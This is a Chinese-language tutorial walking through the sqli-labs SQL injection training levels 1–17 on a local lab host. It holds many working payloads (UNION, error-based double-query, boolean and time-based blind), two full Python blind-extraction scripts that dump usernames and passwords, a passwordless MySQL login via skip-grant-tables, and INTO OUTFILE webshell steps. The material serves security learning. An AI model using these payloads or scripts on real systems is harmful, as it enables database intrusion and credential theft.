sqllab 从基础到复杂, 对于初学者练习非常有用。
学习如何进攻才能懂得如何防守
- 正常访问
http://192.168.248.134:8080/Less-1/?id=1
- 添加 '
返回报错信息:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
- 使用 1' order by 3 %23
得到列数为3
- 使用union 获取admin和password
-1 的作用是查询不存在的值,使得结果为空
-1 ' union select 1,2,3 // 确定可以显示到页面的位置
-1 ' union select 1,2,group_concat(schema_name) from information_schema.schemata // 得到数据库名 或 通过database() 获取数据库名
-1 ' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = 'security' %23
-1 ' union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users'%23
-1 ' union select 1,username,password from users %23
思考一下,为什么加上引号后会报错
查看源码 直接将web页面传递的值加入sql语句中,没有进行过滤导致的错误
再来看看web页面返回的错误
接下来分析 为何加了’ 导致报错
我们分析一下他的源码,在数据库中执行一下
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
这里加不加单引号都可以,id是int型的,可以不加 ,也可以加,而username和password字段都是char类型,就必须加引号。
然后,我们尝试添加一些特殊的字符,干扰正常的数据输入,达到执行其他语句的目的,这就是sql注入,所有的sql注入都是这个道理,如果没有和数据库进行交互,那么也就构不成注入的条件,比如后面的二次注入,虽然第一次没有报错和注入条件,但是在后期会利用时,由于过滤不当导致注入。
我们看一下这一句,当我们输入1’# 的时候,回车还需要一个冒号作为闭合,为什么呢,因为系统在读取到#的同时将不会继续往下读,而是当做注释忽略了,这就达成了绕过的目的。
而这时,如果我们在1’ 之后添加一些其他的内容,获取可以获取想要的答案,可以看到通过union 联合查询,我们可以获取到两个数据,
但是 web页面只会返回第一条数据,如何返回第二条呢,这里就需要让第一条数据未查询到,经过修改,成功让我们需要的数据返回页面,这时 就可以通过联合查询获取想要的数据
这里也可以使用burp去fuzz一下,获取报错类型,判断绕过方式,burp也自带了fuzz,可以在渗透或者ctf中做判断,猜测过滤的内容对如何去绕过有非常大的帮助
查看burp返回的内容,933代表正常的内容返回,而1042返回的是报错内容,基于这个前提,我们就想办法去绕过
基本简单的注入就是这个样子 快开始真正的实践吧
基本判断注入通过加‘ 是否报错,先记住这里的报错,等下的双引号报错和这里可以形成类比,可以判断1周围都是单引号。那么我们就要通过某些方式去闭合他,
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
这里介绍两种方式,一种是注释,另一种是通过引号闭合 如果有时候waf过滤了注释符 可以通过另一种方式绕过
接下来就是获取用户名和密码了
一般sql注入的步骤 : 字段数->数据库->表->列->值
字段数可以通过 order by 去猜解 或者 通过 union select 1,2,3, 4 这样是试。如果报错那么就不是
首先获取字段数,通过order by 3 返回正确的值,而order by 4 返回错误
接来下 通过联合查询 获取数据库和表以及最后的password
这里就不多演示了,可以根据我给的数据去尝试
前面的题基本都会写出每一个步骤,到后面就专精于如何绕过
顺便普及一波知识
mysql的注释符一般有三种
--
, 单行注释
#
单行注释
/**/
多行注释
注意-- 不是注释符,–后还需要一个空格 ,而在web中 + 和空格等价,这就是为何我们注释符喜欢使用–+的原因了
- 正常访问
http://192.168.248.144:8080/Less-2/?id=1
- 绕过测试
-1' or 1=1 --+ //数字型注入
- 常规操作获取用户名和密码
-1' or 1=1 order by 3 --+ // 字段数为3
学了注释符就需要实地去应用,可以看到这道题我们用注释符忽略了引号带来的影响
-1’ union select 1,2,group_concat(schema_name) from information_schema.schemata --+ // 获取数据库
-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema like 'security' --+ // 获取表
-1' union select 1,2,group_concat(column_name ) from information_schema.columns where table_name like 'users' --+ // 获取字段值
-1' union select 1,2,group_concat(0x7e,username,0x7c,password) from users --+ // 获取数据
这里普及一个知识点,如何不使用密码登录mysql,试想你拿到了一个用户的低权限账户,但是他对my.cnf 具有可写的权限,就可以通过修改my.cnf 进而登录数据库。如果数据库的存储方式可被允许,那么可以变像的提权。
这里就不介绍他如何提权了。
linux的mysql配置文件在/etc/mysql/my.cnf下
在[mysqld]下添加 skip-grant-tables 如图,
mysql service mysqld restart
成功免密登录
这里和前面闭合有所不同,来看一下源码
id先被引号包括,之后使用()在包括,所以闭合方式也就需要 ')
- 正常访问
http://192.168.248.144:8080/Less-3/?id=1
- 绕过
id=1') --+
- 获取数据
-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema = database() --+
-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name = 'users' --+
-1') union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users --+
-猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘‘1’’) LIMIT 0,1’ at line 1
根据这个提示猜测可能是字符型注入,可以和less-1 对比,发现多了一个) 可以判断首先是’ i d ′ 之 后 在 i d 外 还 有 一 层 括 号 ( ′ id' 之后在id外还有一层括号 (' id′之后在id外还有一层括号(′id’)
所以如果报错可以返回,那么如何绕过就变得很简单了。
获取数据,这里演示一下获取password
- 正常访问
http://192.168.248.144:8080/Less-4/?id=2
- 绕过
id=2") or 1=1 --+
- 获取数据
-1") union select 1,2,database() --+
-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() --+
-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name= 'users' --+
-1") union select 1,2,group_concat(0x7c,username,0x7e,password,0x7c) from users --+
猜测注入类型
2"
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"2"") LIMIT 0,1' at line 1
可能是双引号字符型注入
先来看看为何加'
之后没有报错,
我们经过几次演示,应该都知道id是被引号包括的 而如果包括的是单引号比如 '$id'
,那么我们添加单引号会导致引号未闭合,报错,那如果是’$id"'这种,虽然双引号没有闭合,但是他在闭合的单引号里,所以这里他的作用只是一个引号,而不是闭合作用,这就解释了 为何添加其他字符达不到闭合的目的。
这里我们就需要去试 那些字符可以产生闭合,导致报错,可以借助于我上面写的burp爆破
tips: 双注
as : 别名
顺便说几个常见的:
rand: 遵循四舍五入把原值转化为指定小数位数
floor: 向下舍入为指定小数位数
ceiling: 向上舍入为指定小数位数
rand: 返回一个介于 0 到 1(不包括 0 和 1)之间的伪随机 float 值
group by: GROUP BY必须得配合聚合函数来用,根据字段来分类
- 使用
select count(*) from [table] group by concat('~',([真正的查询语句]),'~',floor(rand(0)*2))
或
select count(*),concat_ws(char(32,58,32),([查询语句]),floor(rand(0)*2)) as a from [table] group by a
- 原理
简单来说就是count等聚合函数之后,如果使用分组语句,就会把查询的一部分以错误的形式显示出来
在看看rand()函数,当不指定时 返回一个0-1的随机数
而我们需要的是一个整数,这里就需要floor() 返回的结果只有1和0 这样如果是0的时候就会引发报错,
而这一题没有回显 但是有报错,我们就需要构造特殊的语句,将数据显示在报错里,来读取数据
可以看到 如果rand是1 没有报错 ,而rand值为0 则会触发报错,第五题会把报错返回,但是正确不会返回,所以我们利用双注可以从另一方面获取数据
接下来我们肯定不能通过多次执行获取报错值,经过研究,发现如果给rand(0)
这样就可以让他返回的值固定进而一直满足条件
这里因为group by 查询时 如果返回的结果不一致就会导致报错。也就是说如果我们可以在检测时和插入时构造不同的返回值就会导致报错。
赶紧进入实战学习学习
- 正常访问
http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
id='1
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1' LIMIT 0,1' at line 1
可能存在单引号注入
- 绕过
由于返回的结果只有两种(不包含报错)所以这里可以采用盲注来进行,但是作者的意图不是让我们使用盲注,而是双注.
双注: 当查询语句的前面出现聚合函数 就是多个返回结果count()就是多行的意思 后面的查询结果代码会以错误的形式显示出来
- 获取数据
// 如果随机值为0 则会返回 you are in ....., 三条记录以上绝对报错 rand(0),两条随机报错
-1' union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 获取 数据库 security 这里最好实用union all 这样,否则需要多次访问才能获取回复
剩下的就不一一叙述了
-1' union all select count(*),2,concat( '~',(select table_name from information_schema.tables where table_schema = 'security' limit 3,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 //获取表 users
-1' union all select count(*),1,concat( '~',(select column_name from information_schema.columns where table_name= 'users' limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 这里爆出了他三个字段,注意如果字段不存在也是返回you are in
-1' union all select count(*),1,concat( '~',(select concat(id,username,password) from users limit 2,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23 // 成功拿到 password username
这里也可以通过盲注去解决,先介绍一下盲注的命令
- 试试盲注
介绍几个语法:
截取字符串:
left: Left ( string, n ) 得到字符串左部指定个数的字符,
substr: substr(string, start, length) 和substring()函数一样,截取字符串,第一个为处理的字符串,开始位置,长度
mid: MID(column_name,start[,length]) // 前两个字段为必须,length 为可选,选择开始字段,开始位置,截取长度。
ascii: 返回字符串str的最左字符的数值,返回ascii值,0-255
length: 对字段长度破解,一般先对长度破解,然后在爆破字段值,这个一般采用二分法进行破解。
strcmp: 可以配合left 来使用,如果相等返回0 小于返回1 大于返回-1
regexp: 通过regexp 和 正则表达式来获取字段 这个时候 会匹配所有的字段,所以limit已经不起作用
1' and left(version(),1)=5 %23 // 判断当最左侧字符等于5时 返回you are in
1' and left(version(),2)=5.%23 // 可以通过这样慢慢推出整个字段值
使用substr 和ascii 来推出表名
1' and ascii(substr(select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1) > 80 %23
尝试使用regexp
1' and (select 1 from information_schema.columns where table_name = 'users' and column_name regexp '^pass[a-z]' ;)=1 %23
使用 ord mid
ord 和ascii 一样
mid(column_name,start[,length]) // 从位置start开始,截取column_name字符串的length位,与substr作用相同
这里就类似ascii(substr) == ord(mid())
cast(username as char) 将 username 转成字符串
ifnull(exp1,exp2) exp1 不为null 则IFNULL()的返回值为exp1; 否则其返回值为exp2。IFNULL()的返回值是数字或是字符串,具体情况取决于其所使用的语境。
1 ' and ord(mid((select ifnull (cast(username as char), 0x20) from security.users order by id limit 0,1),1,1)) = 127 %23
这道题和5类似,看一下源码
$id = '"'.$id.'"'; -- 虽然加了这么多 解读一下
外层的单引号是做字符串用的,双引号是包含的, 里层的单引号是追加用的
所以添加到查询语句中
$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";
这里的$id="$id"
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
所以 这里还是双引号的注入
- 正常访问
http://192.168.248.144:8080/Less-5/?id=1
- 猜测注入类型
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1
猜测语句
select * from users where id = "xxx" limit 0,1 ;
- 尝试绕过
发现当结果正确时返回 you are in ...... 否则返回错误。
可以尝试报错注入 ,根据作者的意思,这题是一个双注
那么按照双注的步骤走
- payload
//版本
1" union select count(*),2,concat_ws(char(58),(select version()) ,floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取数据库
1" union all select count(*),1,concat('~', (select schema_name from information_schema.schemata limit 4,1),floor(rand(0)*2)) a from information_schema.schemata group by a %23
// 获取表
1 " union all select count(*),1,concat('~',(select table_name from information_schema.tables where table_schema= database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
// 获取数据
1" union all select count(*),1,concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a %23
尝试获取一下password
这道题是个新的题型,如果可以写入文件,那么我们最简单的是上传一句话马 菜刀直接连,就可以获取一个低权限的账户,所以如果在注入中存在此类问题,那也是比较危险的漏洞。
看看源码 是如何实现的,同样对于id没有进行过滤,可以通过’)) 绕过
由于文件具有写的权限,所以可以通过into outfile 直接写入文件, 这里需要有几个条件,需要知道绝对路径写,,具有写的权限。
- 正常访问
id=1
You are in.... Use outfile......
- 看来这题是要导出文件
sqlmap 也可以执行相同的工作 这里就不解释了。
使用outfile 写入到服务器,我们一般可以利用这个漏洞写入一句话马
这里需要有两个已知项 1 字段值 2 绝对地址
并且 系统必须有可读可写,在服务器上,完整的路径,
导出命令: union select 1,2,3 into outfile "绝对地址" %23
- paylaod
// 一般web都存放在默认的目录下,比如:
1 c:/inetpub/wwwroot/
2 linux的nginx一般是/usr/local/nginx/html
3 /home/wwwroot/default
4 /usr/share/nginx
5 /var/www/html
然后 验证是否具有这几个条件
1 获取文件权限的可读
1')) and (select count(*) from mysql.user)>0 %23
2 注入文件
这里要求猜一下他的绝对路径
id=-1')) union select 1,2,3 into outfile "\\xxx\\1.txt" %23
之后使用
id=-1')) union select 1,"" into outfile "XXX\test.php" %23
这里由于是使用docker,没有写成功
前面已经介绍过一次盲注,由于只有正确和错误,并不返回错误的信息,所以我们可以通过判断是否正确来猜测数据的值
-访问
id=1
You are in...........
- 测试返回内容
看起来只返回了you are in ....... 和空 。看来这题需要使用盲注了
- 相关函数
之前已经说过一次,在简单提一下
length(str): 返回str字符串的长度
substr(str,pos,len): 将str从pos位置开始截取len长度的字符串进行返回,注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len): 同上
ascii(str): 返回字符串str的最左边字符的ascii
ord(str): 同上
if(a,b,c): a 为条件,正确返回b 否则返回c
常见的ascii: A:65,Z:90 a:97,z:122, 0:48, 9:57
获取数据库长度
刚开始学,花了一天时间把脚本写好了,但是没有太完善就不发了,把简单的发一下
url = "http://192.168.248.144:8080/Less-8/?id="
常规套路: 获取库,表,字段,下载数据
显示获取数目,然后是每个的长度,在是每个的值
获取数据库
1' and length(database()) ="+str(database_length)+" %23"
1' and ascii(substr(database(),1))= 比较用的ascii值(0-128) %23"
获取表
1' and (select count(*) from information_schema.tables where table_schema=database())= 表的个数 %23
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 这里写第几个表,1),1))=表的长度 %23
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+第几个表+",1),"+表的第几个字母",1)) =ascii值(0-128) %23
字段和他类似
数据,选一个写
1' and (select count(*) from users )= 个数 %23
1' and length(substr((select username from users limit 第几个数据,1),1))=数据的长度 %23
1' and ascii(substr((select "+value+" from users limit 第几个数据,1),数据的第几位,1)) =ascii 值 %23
这里上一下写的py脚本
from urllib import request
from urllib import parse
import re
url = "http://192.168.64.135/Less-8/?id="
#1 查数据库
# def length():
database_length = 0
while True:
param = "1' and length(database()) ="+str(database_length)+" #"
response = request.urlopen(url+ parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
# db_name = ""
# for l in range(database_length):
# for a in range(128):
# param = "1' and ascii(substr(database()," + str(l+1) + "))=" + str(a) + "#"
# response = request.urlopen(url + parse.quote(param)).read().decode()
# if (re.search("You are in",response)):
# db_name += chr(a)
# break
# print("[*]:"+db_name)
#尝试二分法扫描
db_name = ""
for l in range(database_length):
a,b = 64,64
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
a -=b
else:
param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
db_name += chr(a)
break
else:
a +=b
print("db_name:"+ db_name)
print('table:')
#2 查表数量
table_num = 0
while True:
param = "1' and (select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查 表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
return table_length
break
else:
table_length += 1
# 查表
for n in range(table_num):
table_name =""
for l in range(ta_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
table_name += chr(a)
break
print("[*]:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
param = "1' and (select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
print("columns:"+str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print(columns_length)
return columns_length
break
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name =""
for l in range(co_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name += chr(a)
break
print("[*]:" +columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and (select count(*) from users )= "+str(num)+"#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
print("num:"+str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
#print(user_length)
return user_length
break
else:
user_length += 1
def Name(value1,value2):
for n in range(num):
columns_name =""
for l in range(length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name += chr(a)
break
print("[*]:" +columns_name,end=":")
columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0, 128): # 爆破表
param = "1' and ascii(substr((select " + value2 + " from users limit " + str(n) + ",1)," + str(
l + 1) + ",1)) =" + str(a) + " #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in", response)):
columns_name2 += chr(a)
break
print(columns_name2)
Name("username","password")
8和9 一样,只是修改了一下闭合形式,第一次出现盲注,看一下源码,没有什么难度,这里使用时间盲注去猜
- 相关函数
这一关需要用到一个if函数
IF(expr1,expr2,expr3) :既可以作为表达式用,也可在存储过程中作为流程控制语句使用
expr1 是判断条件 ,成立执行expr2 不成立执行 expr3
还有一个sleep(seconds) :执行延迟seconds秒
- 尝试触发报错
http://192.168.248.144:8080/Less-9/?id=1' and sleep(5) %23
在尝试sleep()的时候发现了延迟 存在 时间盲注
- 脚本
将上一关的改一下 ,所有的放在expr1里执行
这里 就把上一关的代码放进expr1 然后 if(代码,sleep(0.1),1)
之后 在判断条件改成 判断时间就行
这里的脚本使用了time函数库,经过检测,发现这个库比较精确。可以将延时时间设置为0.1 秒,可以精确判断
# less-9 基于时间的单引号注入
from urllib import request
from urllib import parse
from time import time
url = "http://192.168.64.135/Less-9/?id="
#1 查数据库
database_length = 0
while True:
param = "1' and if(length(database())="+str(database_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if ( time() - t > 0.1 ):
print("DATABASE_LENGTH:"+str(database_length))
break
else:
database_length += 1
db_name = ""
for l in range(database_length):
for a in range(128):
param = "1' and if(ascii(substr(database()," + str(l+1) + "))=" + str(a) + ",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time()-t >0.1):
db_name += chr(a)
break
print("[*]:"+db_name)
'''
#尝试二分法扫描
db_name = ""
for l in range(database_length):
a,b = 64,64
while True:
b = int(b/2)
param = "1' and ascii(substr(database()," + str(l+1) + "))<" + str(a) + "#"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
a -=b
else:
param = "1' and ascii(substr(database(),"+str(l+1)+")) ="+str(a)+" #"
response = request.urlopen(url + parse.quote(param)).read().decode()
if (re.search("You are in",response)):
db_name += chr(a)
break
else:
a +=b
print("db_name:"+ db_name)
'''
#2 查表数量
table_num = 0
while True:
param = "1 ' and if((select count(*) from information_schema.tables where table_schema=database())="+str(table_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
print("table_num:"+str(table_num))
break
else:
table_num += 1
# 查 表长度
def ta_length(num):
table_length = 0
while True:
param = "1' and if(length(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(num)+",1),1))="+str(table_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
return table_length
break
else:
table_length += 1
# 查表
for n in range(table_num):
table_name =""
for l in range(ta_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
table_name += chr(a)
break
print("table_name:" + table_name)
# 3 查字段
# 查字段个数
columns_num = 0
while True:
param = "1' and if((select count(*) from information_schema.columns where table_name='users')="+str(columns_num)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
print("columns_name:"+str(columns_num))
break
else:
columns_num += 1
# 查每个字段的长度
def co_length(num):
columns_length = 0
while True:
param = "1' and if(length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(num)+",1),1))="+str(columns_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
return columns_length
break
else:
columns_length += 1
# 查每个字段的值
for n in range(columns_num):
columns_name =""
for l in range(co_length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1):
columns_name += chr(a)
break
print("table_name:" +columns_name)
# 下载数据
# 查 username
num = 0
while True:
param = "1' and if((select count(*) from users )= "+str(num)+",sleep(0.1),1)#"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print("num:"+str(num))
break
else:
num += 1
def length(num):
user_length = 0
while True:
param = "1' and if(length(substr((select username from users limit "+str(num)+",1),1))="+str(user_length)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param)).read().decode()
if (time() - t > 0.1):
print(user_length)
return user_length
break
else:
user_length += 1
def Name(value1,value2):
for n in range(num):
columns_name1 = columns_name2 = ""
for l in range(length(n)): # 表的长度
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value1+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name1 += chr(a)
break
for a in range(0,128): #爆破表
param = "1' and if(ascii(substr((select "+value2+" from users limit "+str(n)+",1),"+str(l+1)+",1)) ="+str(a)+",sleep(0.1),1) #"
t = time()
response = request.urlopen(url + parse.quote(param))
if (time() - t > 0.1 ):
columns_name2 += chr(a)
break
print(columns_name1+":"+columns_name2)
Name("username","password")
和9 一样,闭合有所改变,所以不多叙述
- 尝试查询发现问题
http://192.168.248.144:8080/Less-10/?id=1" and sleep(5) %23
发现当使用双引号的时候 可能触发时间注入
这里和上题一样 把单引号改成双引号就ok
直接看源码,没有过滤,所以可以将post的uname和passwd单独拿出来当get处理
这里有个小点,一般我们在渗透中 遇到后台会使用万能密码去尝试,能否直接登录,而万能密码的原理就是注入,通过'等等去闭合然后 or 1=1 去获取一个正确的返回,之后用注释符闭合后面的查询,这样就可以绕过登录,直接进入后台 这里出现的漏洞是因为过滤不严格导致的。
其实这里就是将get的错误在post里重新来了一遍
- 正常登录
admin,admin
Your Login name:admin Your Password:admin
提交的数据都会回显到页面,尝试利用单引号 注释 构造
- 加 ' 尝试报错
admin' -- admin 尝试登录
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin' LIMIT 0,1' at line 1
admin ' or '1'='1 --+ admin
uname=-1' union select 1, database() -- &passwd=admin&submit=Submit
获取到数据库
uname=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database() --
按步骤走就行
uname=-1' union select 1, group_concat(password,username) from users --
同样也能使用之前的双注来完成
uname=1' union Select count(*),concat(0x3a,0x3a,(select group_concat(schema_name) from information_schema.schemata),0x3a,0x3a,floor(rand(0)*2))a from information_schema.schemata group by a#
直接看源码,看是如何写的,然后如何过滤
做了这么多,已经知道了如何过滤,通过“)即可
- 正常访问
admin/admin
返回:Your Login name:admin/Your Password:admin
- 加" 报错
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'admin") LIMIT 0,1' at line 1
- 尝试绕过获取
admin ") -- // 注意 -- 后面有个空格,绕过
之后就是获取数据了
-1") union select 1,database() -- // 获取数据库为security
-1") union select 1,group_concat(0x7c,table_name,0x7c) from information_schema.tables where table_schema=database() -- // 获取表
-1") union select 1,group_concat(0x7c,column_name,0x7c) from information_schema.columns where table_name='users' -- // 获取字段
-1") union select 1,group_concat(0x7c,username,0x7e,password,0x7c) from users -- // 拿到数据
- 正常访问
admin/admin 发现没有返回值,那么这里就有可能是正确没有返回值
- 尝试绕过
通过 a') or 1=1 -- // 绕过验证
获取尝试 永真闭合 ') or ('1')=('1
为什么这里可以闭合呢,这个和之前的注释符闭合类似,
之后尝试获取数据
- 获取数据
0') union all select count(*),2,concat( '~',(select schema_name from information_schema.schemata limit 4,1),'~',floor(rand()*2)) as a from information_schema.schemata group by a %23
0') union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a # // users
0') union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 1,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
0') union select count(*),concat('~',(select concat(username,password) from users limit 0,1),'~',floor(rand(0)*2)) a from information_schema.columns group by a #
通过闭合成功获取到了用户名和密码
来看一下源码,闭合很简单,就不多叙述了,为什么要用双注呢,和get类似,反正正确,错误无回显,但是语句报错,这里就想到使用双注去执行。
- 正常访问
admin/admin
访问正常
- 绕过
和13一样 改单引号为双引号就可以绕过
" or "1"="1 这样就可以绕过验证登录
- 获取数据
0" union select count(*),concat('~',(select table_name from information_schema.tables where table_schema=database() limit 3,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select column_name from information_schema.columns where table_name='users' limit 0,1),'~',floor(rand(0)*2)) a from information_schema.tables group by a #
0" union select count(*),concat('~',(select password from users limit 0,1),'~',floor(rand(0)*2)) a from users group by a #
0" union select count(*),concat( '~',(select concat(id,username,password) from users limit 0,1),'~',floor(rand(0)*2)) as a from information_schema.schemata group by a %23
// 注意 由于正常访问没有回显 ,所以最好加个-1 来报错
成功获取到用户名和密码
-正常访问
admin/admin
登录成功
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
data = {'uname': "admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select table_name from information_schema.tables where table_schema=database() limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select column_name from information_schema.columns where table_name='users' limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select username from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
data = {'uname': "admin'and If((mid((select password from users limit %d,1),%d,1))='%s',sleep(0.1),1)#" % ( i, j, str), 'passwd': "1"}
- 绕过
' or sleep(5) -- 存在延时
看一下脚本
- 脚本跑
理解扫描的方式: 确定数据库的数量,确定数据库的长度,确定数据库
我们可以通过大于数据库的个数这样就不用去判断数据库的长度,之后长度也可以通过时间报错信息去判断,在加上判断 是否是这个字符 一共需要三层循环就可以解决
这里有两种方式去判断 ,使用ascii判断 ,或者通过mid 截断去判断。
#coding:utf-8
import requests
from time import time
url = "http://192.168.64.135/Less-15/"
char = "abcdefghijklmnopqrstuvwxyz_"
print("start!")
for i in range(0,10):
database = ""
for j in range(1,20):
for str in char:
time1 = time()
data = {'uname':"admin'and If((mid((select schema_name from information_schema.schemata limit %d,1),%d,1))='%s',sleep(0.1),1)#"%(i,j,str),'passwd':"1"}
res = requests.post(url,data=data)
time2 = time()
if (time2-time1 > 0.1 ):
database += str
#print(database)
break
print("the %d database: "% (i+1))
print(database)
print("end!")
嗯 。。。 和上一关就一个单引号和双引号之差
修改admin' 为 admin ")
注意 ,如果注入不当,可能导致user的表被清空
这道题的源码还是要好好看看的,发现存在update ,所以 这道题要小心,避免错误的删除数据
而且 这道题对于uname检查严格,但是password没有检查,所以我们的注入点就限制在了password
注意 如果使用不当,
这里可以使用updatexml进行注入
